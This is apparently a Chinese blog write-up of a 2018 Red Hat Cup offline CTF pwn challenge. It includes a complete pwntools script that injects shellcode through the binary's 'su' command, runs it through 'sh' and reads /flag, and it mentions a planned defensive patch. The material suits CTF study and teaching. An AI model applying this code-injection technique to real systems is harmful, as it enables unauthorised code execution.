这是 2018/5/26 红帽杯的线下赛 pwn 的 wp。比赛的时候过于紧张了,基本上没做出来。现在看的话就能看出很多问题了。。希望下一次能记住教训吧。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

这种保护全开的题可能需要一些技巧。

首先能整理出一些可用函数:

ls touch exit rm su sh

首先,我们看一下 sh 函数,是将 src 数组作为函数来运行的。我们也能看到 su 函数直接把输入赋值到 src 中,因此我们可以构造第一种攻击jio本:

from pwn import *

context(os = 'linux', log_level = "debug", arch = 'amd64')
p = process('./pwn')

payload = "su"
p.sendlineafter(">>>", payload)
# p.sendline(payload)
p.sendline(asm(shellcraft.sh()))
p.sendlineafter(">>>", "sh")
# p.interactive()
p.sendline("cat /flag")
# print p.recvuexitntil('>>>')
print p.recvline()
p.close()

这个是当时大家都在用的一个套路。。能把这个防住的基本上就没人再打了XD。栾学长教我把su中赋值到 src patch 到这个函数中的临时变量 s 中,这样就可以了,我看他们的确抵御了一轮轮的攻击。

patch过程待补充

标签: CTF, pwn

仅有一条评论

  1. M4x M4x

    https://github.com/M4xW4n9/pwn_repo/tree/master/others_redhat

添加新评论